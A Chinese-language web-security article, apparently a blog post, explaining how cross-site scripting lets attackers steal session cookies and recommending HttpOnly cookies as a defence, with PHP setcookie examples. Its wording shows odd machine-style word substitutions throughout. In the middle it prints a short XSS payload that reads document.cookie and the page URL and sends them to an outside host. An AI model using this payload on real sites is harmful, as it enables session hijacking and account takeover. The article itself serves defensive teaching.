跟着www处事的鼓起,越来越多的应用措施转向了B/S布局,这样只需要一个欣赏器就可以会见各类百般的web处事,可是这样也越来越导致了越来越多的web安详问题。www处事依赖于Http协议实现,Http是无状态的协议,所觉得了在各个会话之间通报信息,就不行制止地用到Cookie可能Session等技能来标志会见者的状态,而无论是Cookie照旧Session,一般都是操作Cookie来实现的(Session其实是在欣赏器的Cookie里带了一个Token来标志,处事器取得了这个Token而且查抄正当性之后就把处事器上存储的对应的状态和欣赏器绑定),这样就不行制止地安详聚焦到了Cookie上面,只要得到这个Cookie,就可以取得别人的身份,这对付入侵者是一件很美好的工作,出格当得到的Cookie属于打点员等高权限身份者时,危害就更大了。在各类web安详问题里,个中xss裂痕就因此显得分外危险。
对付应用措施来说,一旦存在了xss裂痕就意味着别人可以在你的欣赏器中执行任意的js剧本,假如应用措施是开源的可能成果是果真的话,别人就可以操作ajax利用这些成果,可是进程往往很啰嗦,出格是想直接得到别人身份做随意欣赏的话坚苦就更大。而对付不开源的应用措施,譬如某些大型站点的web靠山(web2.0一个显著的特征就是大量的交互,用户往往需要跟靠山的打点员交互,譬如Bug讲述,可能信息投递等等),尽量因为交互的存在大概存在跨站剧本裂痕,可是因为对靠山的不相识,无法结构完美的ajax代码来操作,纵然可以用js取得靠山的代码并回传阐明,可是进程同样啰嗦并且不隐蔽。这个时候,操作xss裂痕得到Cookie可能Session挟制就很有效了,详细阐明应用措施的认证,然后利用某些能力,甚至可以纵然对方退出措施也一样永久性得到对方的身份。
那么如何得到Cookie可能Session挟制呢?在欣赏器中的document工具中,就储存了Cookie的信息,而操作js可以把这内里的Cookie给取出来,只要获得这个Cookie就可以拥有别人的身份了。一个很典范的xss进攻语句如下:
xss exp:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.loveshell.net/c.php?c=’+cookie+’&u=’+url;
一些应用措施思量到这个问题地址,所以大概会采纳欣赏器绑定技能,譬如将Cookie和欣赏器的User-agent绑定,一旦发明修改就认为Cookie失效。这种要领已经证明是无效的,因为当入侵者偷得Cookie的同时他必定已经同时得到了User-agent。尚有别的一种较量严格的是将Cookie和Remote-addr相绑定(其实就是和IP绑定,可是一些措施取得IP的要领有问题一样导致饶过),可是这样就带来很差的用户体验,改换IP是常常的事,譬如上班与家里就是2个IP,所以这种要领往往也不给以回收。所以基于Cookie的进攻方法此刻就很是风行,在一些web 2.0站点很容易就取到应用措施的打点员身份。
如何保障我们的敏感Cookie安详呢?通过上面的阐明,一般的Cookie都是从document工具中得到的,我们只要让敏感Cookies欣赏器document中不行见就行了。很幸运,此刻欣赏器在配置Cookie的时候一般都接管一个叫做HttpOnly的参数,跟domain等其他参数一样,一旦这个HttpOnly被配置,你在欣赏器的document工具中就看不到Cookie了,而欣赏器在欣赏的时候不受任何影响,因为Cookie会被放在欣赏器头中发送出去(包罗ajax的时候),应用措施也一般不会在js里操纵这些敏感Cookie的,对付一些敏感的Cookie我们回收HttpOnly,对付一些需要在应用措施顶用js操纵的cookie我们就不予配置,这样就保障了Cookie信息的安详也担保了应用。关于HttpOnly说明可以参照 http://msdn2.microsoft.com/en-us/library/ms533046.aspx。
给欣赏器配置Cookie的头如下:
Set-Cookie: =[; =]
[; expires=][; domain=]
[; path=][; secure][; HttpOnly]
以php为例,,在php 5.2版本时就已经在Setcookie函数插手了对HttpOnly的支持,譬如:
setcookie("abc","test",NULL,NULL,NULL,NULL,TRUE);
就可以配置abc这个cookie,将其配置为HttpOnly,document将不行见这个Cookie。因为setcookie函数本质就是个header,所以一样可以利用header来配置HttpOnly。然后再利用document.cookie就可以看到已经取不到这个Cookie了。我们用这种要领来掩护利譬喻Sessionid,如一些用于认证的auth-cookie,就不消担忧身份被人得到了,这对付一些靠山措施和webmail晋升安详性的意义是重大的。再次利用上面的进攻手法时可以看到,已经不能获取被我们配置为HttpOnly的敏感Cookie了。